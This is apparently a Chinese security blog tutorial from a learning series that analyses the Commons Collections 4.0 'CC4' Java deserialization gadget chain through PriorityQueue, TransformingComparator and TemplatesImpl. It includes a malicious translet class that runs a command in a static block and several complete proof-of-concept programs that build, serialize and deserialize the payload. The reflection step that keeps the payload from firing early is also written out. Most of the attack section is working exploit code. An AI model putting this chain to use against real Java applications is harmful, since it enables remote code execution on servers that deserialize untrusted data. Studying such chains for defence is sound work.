前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable，导致该方法无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口，而CommonsCollections 3里是没有的，所以命令执行点还是一致的
可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载

<dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency>
</dependencies>

2.分析

我们继续在transform()处find usage，找到了TransformingComparator#compare()


这是我们常见的方法，我们继续往前找，在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用


这段代码是一个泛型方法，用于执行堆数据结构中的下沉操作，通常是堆排序算法和优先队列的一部分
我们继续查看调用情况，我们找到了同类中的heapify方法进行了调用

并且我们发现了PriorityQueue类的readObject方法

所以目前的路线已经清楚了
PriorityQueue#readObject —> PriorityQueue#heapify() —> PriorityQueue#siftDownUsingComparator() —>TransformingComparator.compare()

再加上我们在CC3中分析的就组成了一条利用链
Commons-Collections篇-CC3链
InstantiateTransformer.transform() —>TemplatesImpl.newTransformer() —> defineClass()->newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);//序列化serializable(priorityQueue);unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

直接执行却没有触发计算器
我们进行调试发现在下图的步骤中跳出，并没有继续执行下去

首先要执行for循环，i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1，这是一个赋值操作，其中 n >>> 1 是将 n 无符号右移一位的结果，然后从这个结果中减去 1 来得到 i 的值，所以n>=2的时候，咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度，所以咱们尝试往队列中添加两个值

priorityQueue.add(1);  
priorityQueue.add(2);

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);//序列化
//        serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们直接运行，发现在没有序列化之前就已经运行出计算器，同时还出现了报错

我们打下断点进行调试分析原因，发现在进行添加第二个数值的时候触发了compare()

所以我们可以按照之前几次分析的思路，先进行一次无效的赋值，让他正常运行，但不进行操作，在最后重新通过反射赋值回来

Class c = transformingComparator.getClass();
Field trans = c.getDeclaredField("transformer");
trans.setAccessible(true);
trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后，同时在这次的代码中最后可以舍弃_tfactory的赋值，因为之前在CC3中我们的分析，刚开始进行了templates.newTransformer()操作，并没有进行反序列化，我们需要自己提前对他进行赋值，才能运行成功。

在刚开始的反序列化中，jvm会对涉及的类如果有readObject的时候会默认构建，在TemplatesImpl类中，readObject有一个赋值操作，所以我们不用再进行相关操作了

4.编写POC

我们对上面的进行总结，编写POC

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;public class CC4 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);//        Field tfactory = ca.getDeclaredField("_tfactory");
//        tfactory.setAccessible(true);
//        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(2);Class c = transformingComparator.getClass();Field trans = c.getDeclaredField("transformer");trans.setAccessible(true);trans.set(transformingComparator,chainedTransformer);//序列化serializable(priorityQueue);
//
//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

我们运行反序列化POC，成功弹出

package org.example;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Main {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

所以这次的链还是比较简单的，整体路线为：

PriorityQueue.readObject()PririPriorityQueuety.heapify()PririPriorityQueuety.siftDown()PririPriorityQueuety.siftDownUsingComparator()Comparator.compare()instantiateTransformer.compare()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

Commons-Collections篇-CC3链